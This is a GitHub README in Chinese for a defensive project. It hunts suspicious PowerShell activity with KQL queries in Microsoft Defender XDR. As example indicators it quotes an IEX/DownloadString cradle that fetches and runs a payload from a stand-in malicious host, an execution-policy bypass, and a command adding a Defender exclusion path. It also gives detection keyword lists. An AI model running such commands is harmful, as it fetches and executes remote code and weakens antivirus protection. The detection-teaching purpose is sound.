abdinoorba/PowerShell-Threat-Hunting-Defender-XDR

GitHub: abdinoorba/PowerShell-Threat-Hunting-Defender-XDR

该项目演示了如何在 Microsoft Defender XDR 中使用 KQL 查询来狩猎和分析被攻击者滥用的可疑 PowerShell 活动。

Stars: 0 | Forks: 0

# 使用 Microsoft Defender XDR 进行 PowerShell 威胁狩猎 ## 概述 本项目演示了如何在 Microsoft Defender XDR 中使用 Kusto Query Language (KQL) 来识别可疑的 PowerShell 活动,这些活动通常与恶意软件执行、Living Off The Land (LOTL) 攻击和防御规避技术相关。 目标不仅是识别可疑命令,还要理解其背后的攻击者行为。 ## 为什么选择 PowerShell? PowerShell 是一款合法的 Windows 管理工具,系统管理员使用它进行自动化、配置管理和故障排除。 由于 PowerShell 在 Windows 系统上默认安装,并提供对操作系统功能的广泛访问,因此经常被攻击者滥用。 这种类型的攻击通常被称为 Living Off The Land (LOTL),攻击者利用系统上已有的受信任工具,而不是引入新的恶意软件二进制文件。 ## 狩猎查询 ``` DeviceProcessEvents | where TimeGenerated > ago(12h) | where ProcessCommandLine has "powershell.exe" | where ProcessCommandLine has_any ( "-enc", "-encodedcommand", "bypass", "downloadstring", "iex", "invoke-expression" ) | project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine ``` ## 理解每个指标 ### 编码命令 (-enc / -EncodedCommand) 攻击者经常使用 Base64 编码对 PowerShell 命令进行编码。 示例: ``` powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA... ``` #### 为什么攻击者会使用它 * 隐藏真实命令 * 增加日志审查难度 * 规避简单的基于字符串的检测 #### 分析师调查问题 * 编码的命令解码后是什么? * 命令是否是从互联网下载的? * 是否执行了额外的恶意软件? ### 执行策略绕过 示例: ``` powershell.exe -ExecutionPolicy Bypass -File payload.ps1 ``` #### 为什么攻击者会使用它 组织通常会限制 PowerShell 脚本执行。 Bypass 标志允许脚本即使在配置了限制的情况下也能执行。 #### 分析师调查问题 * 谁启动了脚本? * 脚本是否经过批准? * 在此 endpoint 上使用 bypass 是否常见? ### 下载字符串 示例: ``` (New-Object Net.WebClient).DownloadString("http://malicious-site.com/payload.ps1") ``` #### 为什么攻击者会使用它 允许直接从远程服务器下载代码。 这通常代表恶意软件交付的第一阶段。 #### 分析师调查问题 * 联系了哪个 URL? * 下载了什么内容? * 该域名是否已知为恶意? ### IEX (Invoke-Expression) 示例: ``` IEX ((New-Object Net.WebClient).DownloadString("http://malicious-site.com/payload.ps1")) ``` #### 为什么攻击者会使用它 下载的代码可以直接在内存中执行,而无需写入磁盘。 这减少了取证痕迹,并可以规避某些基于文件的检测。 #### 分析师调查问题 * 执行了什么命令? * 是否建立了持久性? * 是否衍生了额外的进程? ## 检测盲区 本项目最重要的经验之一是,没有任何单一的检测能捕获所有的攻击。 考虑以下情况: ``` Add-MpPreference -ExclusionPath C:\Temp ``` 该命令修改了 Microsoft Defender 的排除项。 尽管很可疑,但它不会被上面的狩猎查询检测到,因为它不包含: * EncodedCommand * DownloadString * IEX * Bypass 这说明了为什么检测工程需要多个互补的检测。 ## 扩展的狩猎查询 ``` DeviceProcessEvents | where ProcessCommandLine has "powershell" | where ProcessCommandLine has_any ( "-enc", "-encodedcommand", "iex", "invoke-expression", "downloadstring", "bypass", "add-mppreference", "set-mppreference", "remove-mppreference" ) ``` ## 关键要点 威胁狩猎不是寻找单一的恶意命令。 有效的调查需要: * 了解攻击者的目标 * 识别可疑行为 * 关联多个 telemetry 来源 * 识别父子进程关系 * 评估上下文而不是单个命令 命令本身极少是恶意的。 周围的活动决定了它代表的是正常的管理操作还是攻击者行为。
标签:AI合规, DNS 反向解析, KQL查询, Microsoft Defender XDR, OpenCanary, PowerShell监控, 安全运营, 扫描框架, 网络信息收集